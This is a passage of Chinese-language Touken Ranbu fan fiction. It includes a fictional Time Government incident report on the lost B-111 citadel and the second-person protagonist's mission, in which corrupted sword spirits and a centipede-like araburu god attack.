白川不屑的笑了,“嗯。看来对他们来说,审神者还真是‘小人物’呢。”她继续说,“问题就在这里。不干扰‘历史前进’。所以本意上时之政府守护的历史,其实是拥有时之政府的历史吧?”
你闭上眼睛,按白川桃的说法,时之政府岂不是在创造时间闭环?
“严格来说,有时之政府本体存在的时间线才是真正的「现世」,没有时之政府本体存在的时间线都被划分为衍生世界。有本体的才是「现世」,相对的其他世界就是「异界」。”白川桃看向你。
片刻的沉默。你看向玄关内侧,大和守安定他们乖乖坐在客厅等你。
你收回脑袋,“那么本丸其实是处于「异界」和「现世」之间的存在?”
“还记得吉一说的事吗?”
你仔细回想,但吉一说的事太多了。
“有关我的事情吗?”你努力回忆,“说起来,制裁佐藤的事情中,时之政府的内部人员也参与了吧?”
“接待室的电话,不可能是您打的。”你思考人选,会是一开始的那位「源清磨」吗?如果真的有公务员参与其中,他们从一开始急切的拉拢自己的原因是什么?
白川桃看向天空中的月亮,此刻还未爬上正空的月亮被大量的乌云笼罩,朦朦胧胧。
“不论什么世界,都像樱花一样短暂。”白川桃重复在聚会上说的话,叹息的笑了,“所以,林君。”
“末日快乐。”
她说完,便笑着转身,为你拉开了宅邸的大门,仿佛刚才的一切只是一个无伤大雅的玩笑。
你浑浑噩噩跟着她走出宅邸,清光和安定担忧的跟在你身后。
“临走前不祈福吗?”她拍拍赛钱箱,笑嘻嘻地说,“你们都带礼物来拜访了,就当已经给了‘神馔品’,这次可以不投钱哦。”
你走上前,把钱投入赛钱箱,然后握住粗糙的麻绳,用力摇晃铃铛。铃铛的音色和在山道上听到的声音一样。
“说起来,为什么要摇铃铛?”
“召唤神明呀。”白川桃也往赛钱箱里投入钱币,将一枝系着白色纸垂的杨桐树枝插入水瓶中,参拜祈福,默念拜词,“请为我祓除,请给我清净……”
你没有祈祷,只是沉默地盯着眼前的黑暗,耳边是自己剧烈的心跳声和白川桃的念白。
“……请给我带来神明之魂。”
叮——
遥远清脆的铃声响起。
28.源清麿调查报告
事件基础信息:
事件编号:2012-JP-KYO-SGC-001
事件名称:京都西阵「时之政」B-111本丸失联事件
△发生时间:
1.起始时间:2012年7月24日09时15分
2.持续时长:至今未完全终止
3.首次发现时间:2012-7月-25日09时15分
△发现地点:
1.表象位置:「现世入口」:日本-京都府-京都市上京区
2.地点属性:独立异空间结界
3.现场环境特征:存在强灵磁干扰
△事件等级:A级-社会秩序风险
二.调查参与信息:
1.调查牵头单位:历防部专项调查课
2.调查组成员:水心子正秀
吉一(审神者)、源清麿、地藏行平、古今传授之太刀、南海太郎朝尊、肥前忠广
3.调查启动时间:2205年-7月-30日15时23分
4.调查截止时间:2205年-7月-30日21点16分
5.调查协助方:历防部总务课
6.信息提供方:
·目击者:
姓名:中村诗,身份:万屋街“CA芭菲”店老板,与事件关联:事件波及的民间人士
·数据提供方:历防部总务课
三.事件经过与现场勘查:
△事件前置背景:
1.1.宏观背景:
·自■■■■以来,为应对历史修正主义者的活跃,“时之政府”执行了“■■”扩编计划,审神者招募规模扩张达150%。伴随而来的是,新晋审神者中平均15%为非人类审神者。
1.2.系统诱因分析:
·涉事B-011本丸审神者(档案编号:MS-111)于时间线1111年招募。其招募评估报告备注栏有如下记录:
“候选人虽是杨桐树,但历史上杨桐树不都是吉利的象征嘛,而且对象灵能潜力充沛。建议批准。基于非人类审神者的事实,应列为重点观察对象。”
批准人:招募课高级审查官:石川快(已于2205年4月因渎罪被停职调查)
2.事件详细经过:
·阶段1(初始触发):
根据本丸核心记录与幸存调查员审神者吉一的证词,事件首次显现为本丸内部人员的全体失踪。失踪过程迅速且无任何物理痕迹,如同被环境本身“擦除”。
触发条件:
推测为B-111本丸审神者(原体:杨桐树)完成其“神蜕”过程的临界点。其“守护灵”的灵性本质发生变化。触发诱因不明。
·阶段2(发展扩散):
捕食行为从零散、随机转为系统化、高效率。审神者吉一使用多种「形代」侦查本丸内部状况,证实由杨桐树孕育出来的荒神具有理智和一定智力。攻击来源于类似于丝线的灵力抽取物质。
备注:现实锚点发生漂移,时间政府观测到B-111本丸正在沿时间流往「异界」深处移动。派出去的管狐没有再回来。
·阶段3(峰值/转折):
事件峰值出现在审神者(荒神)察觉到时之政府调查员到来,主动离开其本丸。它开始利用其伪装特性,主动引诱实习审神者与流浪刀剑男士进入本丸范围。
·是否出现异常特征突变:
是。其行为模式从领域内消化,转变为跨领域诱捕。据万屋街民间人士透露,审神者(荒神)已具备类爬虫实体。
·是否有干预行为介入:
时之政府在此阶段确认B-111本丸已全面失控,并构成对时间安全的重大威胁,开始策划强制性干预。
·阶段4(终止/缓解):
时之政府于事件发生约一个月后,执行了“通道永久封闭”方案。
终止条件、现场遗留状态:
该本丸与现实的链接被切断。现场遗留状态为“存在性缺失”——B-111作为时空实体已被封存,其最终状态未知。唯一已知幸存者“笹贯”,在通道关闭前行踪不明。其审神者(荒神)因灵力本质发生变化,无法继续追踪,下落不明。
3.现场勘查记录:
·勘查工具与设备:管狐、鸟类形代
·现场物理痕迹:地面存在异常残留物与异常气味。管狐描述为蛋白质烧焦的气味。
·现场数据采集结果:通过化验得知异常残留物为不同用途的腺丝。
4.目击者与当事人陈述摘要:
·调查员审神者吉一:因当事人情绪激动,允许由调查员源清麿陈述。
·调查员源清麿:
【录音记录】:
“这里是调查员:源清麿。
任务编号:T-2205-KYO-B111-REC。
报告时间:接触事件发生后一小时
本丸内部视觉上完好无损,庭院整洁,建筑无破损。但所有感官反馈存在不同时间的感知延迟,初步猜测为灵磁力影响。
我们来到了目标审神者(原杨桐树)附近,吉一先生提出‘杨桐树’本身仅仅是荒神载体,有可能履行本丸审神者一职、提供灵力支援的另有其人。不论如何,祂已经扩散并同化了整个本丸空间。我们似乎已经身处敌人体内。
……
古今传授之太刀与地藏行平碎刀。
……
阳光很好,很宁静,我突然想起我们应该是刚远征回来。肥前忠广提议我们可以去本丸厨房喝茶。我们准备去往厨房,但是中途被吉一先生打了。
我们中出现认知排斥现象,同时出现一种无处不在的被注视感。
吉一先生尝试用形代寻找注视感的来源。但因为灵力反噬,他的左眼失去视力。付丧神与荒神之间的位格似乎存在差异。
……”
四.事件影响评估:
1.人员影响:
直接受影响人数:调查员重伤1人1振,死亡调查员5振,实习审神者死亡人数:2人,无归属刀剑男士死亡人数:3振,其本丸内部八十六振刀剑全部死亡,现一振失踪。
2.人员身体影响:
调查员审神者吉一已转入时之政府内部医院治疗,院方报告称损失的肢体无法再注入再生细胞再生,且出现对义肢的排斥反应。
调查员源清麿已修复完毕,无须在此处再提。
3.人员精神影响:
调查员审神者吉一出现对物体感知错乱的现象,初步推测是因为形代次数使用过多的原因。在医院建议下,每天空出时间将意识转移入形代内,以逐渐恢复。
调查员源清麿出现创伤后应激反应。在时之政府重新派遣水心子正秀后,此情况有所缓解。
4.财产与物质影响:目前尚无损坏记录
5.环境与空间影响:
·周边环境影响:异界区域植物大面积枯萎
·空间规则影响:「现世」京都府京都市上京区有短暂空间扭曲的目击报告。
……
八.报告使用:
报告使用范围:仅限历防调查课
保密等级:秘密
保密期限:长期保密
违规处理:泄露报告内容将按《时之政府法》规定追究责任
签署信息:
调查组组长签字:源清麿(代组长)
牵头单位负责人签字:■■■■
审核人签字:■■
批准人签字:■■■
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“清麿,你是不是最近太努力了?”来人端着南海太郎朝尊摆在休息间的咖啡,走到被电脑遮挡的紫色脑袋面前。罐装咖啡的罐壁遇到空气凝结水珠,滴滴答答从咖啡底部滴落,有几滴落在办公桌的打印纸上。
“啊,遭了遭了。”
屏幕后紫色脑袋听到他的声音,抬起头,关闭平板那份事件报告。源清麿面露微笑,接过水心子正秀手里的冰镇咖啡,“谢谢,水心子,不过不用担心喲。这些是空白的打印纸而已。”
源清麿的微笑彬彬有礼又略带暖意。新显现的水心子正秀很快放心下来。
“但是,你刚刚……”
“哦呀,是咖啡
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吗,也给老头子我来一罐如何?”
还没等水心子正秀说完,另一道声音插入。办公室另一头,一个衣着华丽的身影也从屏幕后探出脑袋。
“为什么监察官也在加班?”水心子正秀有些意外,把手里的另一罐咖啡递给一文字则宗。
“嘛,没办法,上头的事务像流水一样往下砸啊,”一文字则宗打开扇子,扇子愉快地摇着,“说起来,水心子正秀,我忽然想喝万屋街新出的咖啡,能麻烦你跑一趟吗?”
“……您真任性啊。”
“拜托啦!刀上了年纪,腿脚就不听使唤了。”一文字则宗懒洋洋的靠回椅背,“好了,刷我的工卡吧。就当请小子们吃饭了。”
水心子正秀无奈地叹口气,把咖啡放在一文字则宗的办公桌上,接过对方的工卡离开办公室。
办公室的门轻轻合上,等到脚步声渐行渐远,源清麿肩膀松下来。“谢谢。”
“举手之劳,”一文字则宗合上随身的折扇,将折扇放在嘴边,“倒是你,源清麿。还在想B-111本丸的事吗?”
源清麿不可置否的点头。
“那不是你的错。现在水心子正秀也回来了,一切就当重新开始吧?总是沉溺无法挽回的过去,只会徒生怨气,走偏道路喲。”
“我明白”源清麿把平板放回抽屉上锁。
“那么说点别的吧。”一文字则宗转动椅子,面向源清麿的工位。“据不明消息源称,最近异界的边界似乎出现了一个徘徊者呢?”
“徘徊者?”
“嗯,一个灵力高得异常,既非生者,也非死者的存在。据说,是从一个错误的世界线漂流过来的。2025年……被陨石毁灭的世界。哈哈哈,世界末日什么的也太夸张了吧。”
源清麿调出异界周边记录的手指停下。“被陨石毁灭的世界?”
“曾有人试图将他引到河流上游去。”一文字则宗用扇骨敲击桌面。
源清麿脸上的笑容淡去,河流上游,也就是B-111本丸目前监控地点。他陷入思考,那个人为什么这么做。“如果不是怨死的亡灵,放着不管也会回归祖灵吧?”
“好像不是日本人,也不是这个世界线的人。所以没办法回归祖灵。”一文字则宗的电脑屏幕上显示某个世界线的信息。
如果是普通的幽魂,不回归祖灵,最多只会作祟。但是如果是拥有超高灵力的人,横死后有可能会变成降下天灾的“御灵”。
“但是……那个人目前并没有死。”
“啊,源清麿,你还记得时之政府用付丧神对付历史修正主义者的办法吗?”一文字则宗笑吟吟,“是神道教,是‘人神’信仰。”
一文字则宗继续说:“在支配付丧神后,时之政府还想支配其他神明的力量,所以连有可能寄居荒神的杨桐树也毫不客气收来当审神者。像B-111本丸,不过是人类被贪欲反噬的缩影罢了。”
“这是……所以那座本丸的刀剑男士们一开始就是祭品吗?”源清麿喃喃道。“……完全是刀祭。”
“是啊,不论那个引路人有什么念头,他引那个‘徘徊者’去B-111本丸所在处,恐怕是想趁荒神尚未成型,让两人打擂台赛。鹬蚌相争,渔人得利。而我,只是想看看,能看到什么呢。”一文字则宗的语气变得玩味,“不过就算灵力多么强大,终究不是神明的对手吧。时之政府内也有其他神明系审神者存在,不过我想,不到万不得已,时之政府是不会动用这批审神者的力量的。”
“‘星’和‘井中’那边施压得很厉害,他们家族都有人就任审神者,再不解决那个飘荡的荒神,他们恐怕会截断时之政府的资金链条。”
“您的意思是……找到那个‘徘徊者’,让他成为审神者,再让另一个本丸的刀剑成为刀祭的对象,培育新的‘神’?”
“不,‘御灵’的感情是很复杂的。如果得到承认,就会平息愤怒,发挥平和之德,保佑一方。对时之政府的战力目前的战力储备,也是一件好事。”
就在这时,源清麿的电脑传来消息提示音。
“啊,失礼,来工作了。”源清麿点开特殊邮箱。一封申诉邮件出现在邮箱内部。
29.第二十九章
你坐在本丸的天守阁二楼书斋里,仔细查阅时之政府调查员送上来的调查报告。十月,神无月,本丸的季节随现世季节变化,天气处于不冷不热的边缘,为了节省电费,本丸没有打开空调。三日月宗近把散乱的文件整理妥当。
“现在和您来到本丸的第一天很像呢,也是开满桂花树。”
三日月宗近把整理好的文件递给你。他旁边的小乌丸也轻轻点头。本丸最初的几位刀剑男士都聚集在书斋内,等待特命出阵的安排。
源清麿昨日毫无征兆地联系上你,将《京都西阵「时之政」B-111本丸失联事件》的报告和调查令发送至你的邮箱。你看到报告的里出现吉一的名字,一直到那些令人不适的肢体残缺图片时,忽然感觉精神疲惫。
好了,好了,吉一现在不在这里。你缓缓深呼吸,收住对他那份无处安放的同情。
你的目光不经意扫过笹贯,他也专注地盯着事件附录的图片,蜷缩肩膀,脸部紧绷。这是他的前本丸。他恐怕也是此刻才知晓,自己前任主君是当初杀死本丸内部全部刀剑男士们的罪魁祸首。
“根据时之政府调查员源清麿所述,特命调查会在今天早上十点开始,”你放下文件,从身边的姆明袋子中拿出几个金色御守,分发给在场的刀剑男士。“我先去安排好本丸今天的事宜。等会我们在寝殿空地前集合。”
“哦~这次的是金色的呀。”三日月接过御守。“看来这次出阵让您很担心吗?”
一期一振一脸凝重,看出这个御守内蕴的灵力非凡和价格不菲,“这个御守符……请务必留给我弟弟,我用普通御守就好。”
你笑着点头,“如果用不到最好啦。”
山姥切国广的手指在御守上描摹,抬眼看你,“我记得时之政府的工资应该是25日发放,您为什么会……?”
听到他的话你心里一痛,该死的时之政府,九月的工资还没有发下来,你就要去玩命了。
你摊开双手,做出一个无奈又略带幽默的姿势,“因为拉到了赞助。”
如果能在这次特命调查中活着回来,你还要抽空去白川桃家的神社拜访。
“主君。我也来帮忙吧。”笹贯终于开口说话,帮你提装满物品的袋子。
你和笹贯走出书斋,来到本丸的庭院。阳光醇厚,天空越来越蓝。如今,石蒜花在寒露到来的那一天全部凋谢,换上金橘色的金木犀,舒枝展叶,清甜幽香。
笹贯一直跟在你身后,保持半米远的距离,你放慢脚步他也放慢脚步,你停下他也停下。于是你干脆站定,转身走到他身边并肩而行。
“主君。”笹贯看着长廊外的桂花树,“我那时和您说的……关于前任主君的事没有骗您。”
“我明白。”你不希望笹贯再次自揭伤疤。“如果这次任务真的见到祂,就好好揍它一顿吧。”
笹贯笑了笑,“难道您是硬核派的吗?”
你们沉默地走着,只有脚下踩过碎沙石的细想,空气宛如水流般清晰。这份短暂的轻松过后,笹贯再次开口。
“如果……我的前任主君,命令我继续效忠祂怎么办?”
你迎上他的目光,伸出手拂去他头发上的金木犀,“你等着我就好。”
你找到大和守安定和加州清光,他们的扫帚随意的靠在树干上,两人手里都捧着奶茶。安定靠着大树,抬头仰望天空。加州清光一眼瞥见你,眼睛一亮,立马用手肘捅了捅旁边的大和守安定,兴奋地朝你挥手。
“哦咦——主君~今天天气很棒哦,金木犀也长得很好呢。”
“嗯,今天天气很好。”你笑着回应,从姆明袋子里拿出崭新的杂志和一张BD光盘。“来,惯例的‘委托费’。这次的赠品是最近很火的牌子。”
你把最新一期的《MTTE》杂志递给加州清光。然后你把那张包装简洁的BD给大和守安定,补充了一句,“据说这里面是某位天才剑士的珍贵记录。”
“所以,”你拍拍手,切入正题,“我出阵的这段时间,本丸就拜托你们了。”
“欸,我们吗?”清光用食指指着自己。
你再度把食指和拇指比一个圈。
“我知道了。收钱办事。”大和守安定小心地把光盘收入衣襟。
你摇摇头,不过没有纠正他的说法。你的心里还有着一点恶作剧的期待,不知道等清光和安定看到《MEET》杂志那篇关于佐藤“叠叠乐”丑闻的深度报道时,会露出怎样精彩的表情。你早就买了一本提前看过了,拜这篇报道所赐,佐藤和高桥等人已经引咎辞职,被时之政府彻底除名。聚会的审神者中不乏各界精英名门,估计佐藤他们也算是现世社会性死亡了。
在迅速安排好今天的畑当番和厨当番人选后,你和笹贯回到天守阁,换上便于行动的出阵服,出阵的刀剑男士们已经在传送装置前集合完毕。
寝殿前,留守的刀剑男士们前来送行。
“主君大人,大家,一路顺风!”今剑坐在岩融的肩膀上挥手。
“我们会等待您平安回来。”前田藤四郎认真的向你点头。
“诸位,一定要一个不少地回来哦。”药研藤四郎叮嘱道,他看向一期一振,“一期哥,放心吧,我会守护好弟弟们的。”
“嗯……呵呵。有药研在我很放心。”一期一振没有说太多话,挨个扶摸每位前来送行的弟弟们的头。
狐之助蹦进你怀里,启动时空转换器。
“传送开始,目标坐标——公元2012年,异界B-111本丸!”
一瞬间,眼前的景物开始扭曲,最后化成模糊的光流。
你和刀剑们站在异界边缘,一片开阔、平坦的土地上,地面干涸皲裂。此处和你一个月前见到的一样,暮色苍茫,只有寂静的光辉平铺在万物表面,四周杂草丛生。
两个穿黑色军服的身影站在不远处。一个有一头显眼的紫色头发,另一个则是大半张脸都埋在军装高高的衣领里。
你隐约听到他们在对话。
“唔,这里的灵力波动……感觉真不舒服。”埋在衣领里的声音听起来有点闷。
“还能坚持吗,水心子?如果实在不舒服,要不要先休息一下?”
你向两人方向走近,才看到埋在军装里那个人帽檐下有双绿色眼睛。
“诶,已经来了吗?”绿色眼睛的刀剑男士立马站直身体,仿佛刚才不安的另有其人。“我对你能亲自出征,表示感谢。我是水心子正秀。”
“我是源清麿。我们被委派在此,支援您进行B-111本丸的加急肃清任务。”你好奇地打量源清麿,他的表情既平静又警觉。
水心子正秀的视线扫过你身后的刀剑男士,最后定格在你身上,他语气严肃:“B-111本丸目前已经沉入异界深处,以它为中心,周围两公里内的异界空间都已造成污染。按照规定,你需要从我们两人中选出一人加入队伍,另一人则负责在外围担任先导,提供情报支援。”
“开门见山地说,我认为——你应该选择源清麿加入你的队伍。”
源清麿对这个建议并无意外,只是补充,“是的,水心子正秀的侦查能力比我高,由他作为先导非常合适。”
你没有拒绝水心子正秀的提议,毕竟需要队伍里有一个经验丰富的调查员。而且,你明白源清麿的深意,先导的位置比出阵队员要安全一些,他应该不希望调查课同僚在自己面前再被碎刀。
在两位调查员指引下,你们沿河流上游走去,笹贯也和你走到队伍前方。
你趁机问一些资料上的事,“话说……这次任务里提到的
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「神轿」是什么意思?”
水心子正秀解释,“因为自古以来,树木常被看做是神明的依附体,也就是神座。嗯,虽然说是做神轿,只不过是把杨桐树枝插上去而已。现在由于时之政府的举措,荒神已经长时间未进食,处于虚弱状态。这次那个「荒神」返回本丸,恐怕是想拿到杨桐树枝,成为真正的「神体」,趁着神无月返回天上去。”
“所以说……这次是要我去拿那个杨桐树枝。”你笑了。成神什么的,明明也过了中二病的年纪,但是还是很激动。
“那棵杨桐树,真的不是审神者吗?”笹贯问道。
“据目前的调查结果,的确如此。”源清麿回答。
“时之政府有两套计划,第一套,你和荒神抢夺杨桐树枝,坐上神轿。第二套……在抢夺任务失败后,时之政府会打开时空通道,降下咒术击毁杨桐树。不过这样可能会对B-111对应的现世坐标造成影响。”
你心想,莫非时之政府还在赌能不能新增一位神明系审神者?
灰暗的土地出现林子一角。树林林木稀疏,树干比巨杉树林细韧,像是樟树。不断往里走,林带开始变化,出现银杏树等树木,现在正是银杏树叶子变黄的时间,宛如融化的黄金。你在树林中看到一个披白纱的影子,但认真去看,树后什么也没有。
“诶,天空好蓝啊。”
人群中不知道是谁说了一句。那道声音不男不女,又尖又细,带着一种天真的音调。你下意识抬头看向天空,远处明明是黄昏的暮光。你刚想反问,却猛然意识到声音来源不明,连忙闭嘴,握紧拳头,让手指甲掐入掌心,用疼痛保持清醒。
“嗯?”水心子正秀警觉地望向天空。
一期一振无声的看向你,你摇摇头表示自己没有出声。笹贯紧张的靠近你,手已经按在刀柄上。你不明白刀剑男士们看到,或者感知到了什么你所感知不到的东西。
你们到达B-111本丸外围。四周树木上的注连绳和白垂穗皆落在地皆是泥污。
水心子正秀挑选一个合适的地点,从军装口袋里拿出一叠巴掌大的人形纸张,手掌一松,人形形代们便像白鸽一样飞出去,扑向B-111本丸上空。过了一会,形代们扑打手臂飞回来,水心子正秀将他们贴在一个正方形机器上,报告因为灵磁力干扰,无法看清本丸内部情况。
“那么由我带上通讯令牌,在B-111本丸内部建立通讯链接。水心子正秀在外围使用形代将情况报告上传。”源清麿接过水心子正秀的通讯令牌。
你命令使用防御更强的方阵前进,和刀剑男士们靠近本丸土墙的大门。门轻轻松松被推开。
安静。
空寂。
你屏住呼吸,以为队伍里的人都在全神贯注地侦查,但周围的刀剑男士们露出无法忍受的痛苦神情。三日月眉头紧锁,小乌丸脸上苍白,连源清麿都侧过头,仿佛在抵抗什么不堪入耳的声音。
你伸出手依次触碰他们的手背或手臂,在与你灵力接触后,他们的表情明显松弛下来。
“啊,谢谢。这里和我第一次进入时有些不同。”源清麿松口气,“首次调查时这里根本没有噪音。”
水心子正秀在外围再度放出人形形代。作为神轿的杨桐树在本丸后山附近,这个本丸的内部布局也是平安时代的寝殿造。你试图规划最短路线,直接从寝殿南北直线穿过。
嘶——
这是有什么东西掉落的声音。有几十秒,你们环顾四周,周围如常。
紧接着,你听见布料被利刃划破的声音,自己的喉咙不受控制地发出一声短促的抽气声。
你低下头。
一截雪亮的刀锋正刺入你的喉咙。鲜红的血液从开口中喷涌而出——一振缠绕黑雾的鹤丸国永出现在你眼前。
30.第三十章
鲜血像屋檐落下的雨。
你的第一反应是捂住自己的喉咙,往后退一步。你位于方阵中间,往后退刚好一脚结结实实踩中三日月宗近的脚背。
“主君!”三日月宗近立即伸手扶住你摇晃的身体。
“锵——”
一声清啸,距离你最近的一期一振本体刀出鞘,刀光如水直逼鹤丸国永,却只砍中一道白色的残影。瞬间,所有刀剑男士的刀刃都已出鞘,金属摩擦刀鞘的声音连成一片。你一边捂住脖子,对他们竖起大拇指,表示自己现在还好。
“我没事。”你尝试说话,声音有些含混,但出乎意料的冷静。指尖触及的地方,没有想象中的皮开肉绽,只有一道半指宽的开口,甚至已经不再流血。至于疼痛更是完全没有,只保留了有点漏风的错觉。这种身体的异变,是从上次在联队战从山坡上摔下开始的吗?还是源清麿在报告里提到的“位格”差异?
“竟然……没事吗?!”鹤丸国永轻飘飘落在回廊的屋檐上,居高临下地看着你,语气里满是惊讶。他嘴里冒出的声音正是B-111外围树林的怪异声音。
山姥切国广见状挡在你和鹤丸国永之间,另一振敌刀从阴影里快步走出,他有一头银白色长发,是小狐丸。紧接着,周围出现其余三把敌对的刀剑男士。鹤丸国永、小狐丸、加州清光、压切长谷部,以及又一把三日月宗近。
你认出这是笹贯提到的远征部队人员。他们每个人身上,都缠绕着肉眼可见的、如同黑色丝线一样的灵力波动。
“这下真的是‘三’日月了,还会有‘八’日月吗?。”你一边吐槽一边从枪套拔枪,冰冷的金属滑入手掌,却并没有让你更安心。
“呵呵,如果您希望的话,还可以在本丸收集齐全部月相。”三日月确认你还活蹦乱跳后,手里的太刀缓缓抽出。
“你们……”笹贯看到那些昔日的同伴,身体微微颤抖。他死死握住刀柄,咬牙切齿,眼泪噙着泪水。
“他们没有意识了,笹贯!”你大声提醒他。
“通讯被干扰了,”源清麿检查通讯令牌,令牌上的光芒不停闪烁,“荒神的能力增强了吗?水心子,能听到吗!”
你抬头往天上看去,只见本丸上空出现一个巨大的黑洞。它缓缓旋转,乌云如同触手般环绕在它周围,如同时间朔行军降临的空洞放大版,但是它此刻什么也没有吐出来,只是静静地悬停在上空。
下方,B-111本丸内,缠绕黑雾的刀剑男士们都面带诡异的微笑,仿佛正沉浸在一场美梦中。你迅速对比后发现,敌方的刀剑男士灵力波动远比资料描述的要强。难道这就是传说中的“黑化强三倍”?!
压切长谷部直冲而来,山姥切立即迎上。刀刃相击,迸出火星。对方的机动几乎比一些短刀还快,挥刀也狠,山姥切踮起前脚掌踉跄移动,竭力维持平衡。
“乌鸦与鹤吗?”小乌丸挡住鹤丸国永向前的刀锋,顺势往另一边的小狐丸带去,企图让两人相撞。然而敌方的小狐丸没有闪避,任由鹤丸国永的刀刃划开自己的手臂,鲜血飞溅,反手劈向小乌丸的后背。
只是傀儡。你明白了,这些刀剑男士背后的操纵者,并不爱惜自己的玩具。
如果是时间朔行军还好,但是眼前的敌人除了环绕黑雾和诡异的微笑,与正常的刀剑男士们无异。
“砰!”
你的咒术弹精准击中敌方加州清光的手掌。那涂有红色指甲油的手应声而落,他的刀“哐当”落地。
你想,这样或许能暂时阻止这场刀剑男士们的自相残杀。失望的是,敌方的加州清光面色如常,从断腕处迅速长出螳螂一样的肢节骨刃。
“你竟然让我变得破破烂烂的……主君会讨厌我的!”他和鹤丸国永一样发出树林里同款的尖细声音,愉快的尖笑。
刀剑男士们保护你往后山方向移动。庭院的沙石随战斗哗啦啦滚动,一块被山姥切劈开的假山落入池塘。一期一振的剑贯穿敌方长谷部的胸膛,但对方的胸口直接长出骨刺,卡住一期一振的刀刃。
“喝呀——!”笹贯砍断长谷部胸口的骨刺,又被三日月往旁边一推,躲过鹤丸国永的突刺。
战斗越发混乱。你发现自己确实不用躲开他们的剑,他们的刀刃落在你身上,除了留下一道很快愈合的砍痕外,毫无痛觉,砍出来的伤口也不再流血。但每次你被击中一次,一期一振或三日月他们的面色就会惨白一分,攻势也会因为分心造成破绽。
为了他们的精神状态着想,你开始在刀光剑影中闪躲。一把太刀擦过你的脸颊,削断几缕头发,你顺势一个翻滚,躲到一根廊柱后面。
“主君!”笹贯在不远处喊,他正凭借对昔日同伴刀路的熟悉,与敌方三日月周旋。“这里交给我们!快去后山!”
去后山!拿到“神座”!
你做出决断,紧握手里的枪。趁着源清麿为你挡开一次攻击的间隙,与他一同穿过寝殿,朝后山方向奔去。
寝殿内部阴暗潮湿,损坏严重,到处是掉落的木块,襖画,和一些白色的鸟类纸张。你看出一些崩裂的地板和报告中的图片相符。你们拐入一个障子门,破开后发现后面又是一面襖。
寝殿内宛如迷宫,你猜测里面的布局也被灵力扭曲了。在拐入另一个房间事,你一脚踩空,脚腕陷入一个地板坑洞里,一阵剧痛袭来。
源清麿似乎发现你的焦虑。“没关系,快去下一个地方吧。”
与此同时,几个矮小的影子跟随你们冲入寝殿内部,从地板的夹缝中猛然窜出。“小心!那些是灵力已经被吸干的残骸!”源清麿本能地向上格挡,挡住一个天狗般的影子,然后随手砍下。
“没用哦。”源清麿再用刀砍翻一个长发影子,他身上的黑军装被切得像片鱼。更多的小影子涌了出来。
“不要硬碰硬,交给我!”他对你喊,要把通讯令牌抛给你,但被一个蘑菇头的影子打断动作。
你当然不能放着他不管,况且这些东西对你的伤害根本无效。你手里的咒术枪不断开火,咒弹在阴暗的寝殿内划出一道道亮白色的轨迹,为源清麿清理出道路。
一阵狂风,水心子之前放飞的人形形代飞了进来,“呼啦啦”贴在影子上,被贴住的影子瞬间被吸入形代中。剩下没有黏住影子的人形形代穿梭在寝殿的空洞内,宛如飞鸟指引道路。
在打穿一面屏风后,你和源清麿跟随人形形代跑出寝殿。越靠近后山,你觉得周围的粘稠度有所减缓。抵达后山边缘,一棵十几米高的绿油油的树出现在你们眼前。树的主干围着一条粗大的连注绳,上面挂满白色的符咒。
你呼吸急促,看着这接近五层居民楼的高度,“欸,要怎么做,爬树吗?”
“是拿下树枝绕本丸走一圈。”源清麿很快调整好呼吸节奏。
“……”
叮——
遥远
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清脆的声响,穿透所有的喧嚣。你记得这个声音。在白川桃的神社里,铃铛一响,就代表有神拜访。
你愕然感到一阵紧张。猛然低头撇过地面,一个巨大的黑色影子正在地面上迅速膨胀,扭曲蠕动。仿佛大地之下有什么东西在孵化。
砰——!
泥土和草皮被一股巨力掀飞!你看到荒神的真正面目。
祂的上半身初具人型,面部没有五官,整体极度消瘦,一层薄如蝉翼、几乎透明的蓝灰色皮肤挂在骨头上。靠近躯干的手臂相对正常,离心脏越远的手臂越不像人手,下半身是蜈蚣特征,数十节黑色的甲壳状物质,银白色的长发一直垂到到下腹部第五对步足。
祂的脸与你相对时,你喉头一紧。如果是在游戏中,你可以轻松称赞这个怪物设计得非常有美感。只可惜现在是现实。
祂的步足如锋利的刀片,在地面上轻轻一划,你闪避不及时,下足毫无征兆地划开你的皮肤。
“……切。”
荒神对你的攻击有效果。
长长的刀刃向上一闪,源清麿分开荒神的注意力,他的身体剧烈摇晃,好像在和一个看不见的人搏斗。你抬枪打断杨桐树的一根树枝,一声不知何处的叹息飘进你的耳朵。但现在显然不是分心思考的时候,你冲上去捡拾掉落的树枝。
“找到你了!”没有五官的脸发出狂喜的尖叫,刺耳的音波在结界中回荡。祂没有五官的脸裂开一条缝隙,缝隙中没有嘴,只有无数细小蠕动的肉色附肢,像是蜈蚣的颚足,不断开合,流下涎水。
饿。
你读懂了祂的渴望。
伴随祂的声音,源清麿发出痛苦的呻吟,一只手按住头,将刀刃用力插在地上才勉强没有跪下。
源清麿发出梦呓般的声音。飞出来的皱巴巴人形纸片着急地扑在源清麿身上,有一些往你脸上贴。他口袋里的通讯令牌传来水心子断断续续的呼唤,“清麿……听得到吗!快用……符!”
你的身体剧烈晃了晃,从音波中清醒。你飞快地看一眼源清麿,如果单靠他一人战斗,他只会碎刀罢了。
而且按照绕本丸一圈的速度,荒神体型优势大,你需要有人在旁边分摊荒神的注意力。现在必须给它造成足矣干扰行动的损伤。
你向前移动到荒神攻击范围内。选准位置,第一枪打在祂脸部,把祂的脸撕开一大块。第二枪接着没入祂的肩胛骨,祂发出尖锐的哀鸣。
荒神发出咯吱咯吱的哭声,放弃注视源清麿,往下一扑,“我有你也可以。美丽的枝叶,美丽的新身体。”
一个更高的音调。
祂的声音忽然变得非常悦耳,轻快活泼,宛如唱圣歌。残缺一半的头部看上去脆弱可爱,银白色的长发充满神圣的光泽,蓝灰色的皮肤像丝绸斗篷,空白的脸部开始浮现出各种不同的人脸,每一张都很亲切,温暖。
你希望去爱祂,拥抱祂。
不对……你使劲闭上眼睛,再次睁开。为什么要这样做,难道是你的眼睛非常干涩?
神父的脸,初中女同学的脸,石像的脸,但在群脸中看到奶奶的脸时,你瞬间清醒,感到不寒而栗。是精神攻击。
在你清醒的瞬间,祂已经来到了你的面前。那双相对正常的手掌轻柔地抓住你的手臂,像捧起一个新玩具。
在被祂巨大的力量抱入地下的最后一刻,你用尽全身力气,把杨桐树枝扔回注连绳结界范围内。
31.第三十一章
木板渣和泥土窸窸窣窣滑落,荒神冰凉滑腻的皮肤紧贴你的额头,银白色的头发如同瀑布挡住视线。世界像过山车一样剧烈摇摆。在短暂的窒息后,地下的视野忽然开阔。你努力转过头部,从晃动的银色头发中看到若隐若现的木头结构。
是“穴藏”。你很快想起本丸一般依照战国的天守城为原型,这些木质结构很有可能是连接天守阁地下的转移通道。有通道的话这里很有可能还有其他出口。你必须想办法快点逃出去。
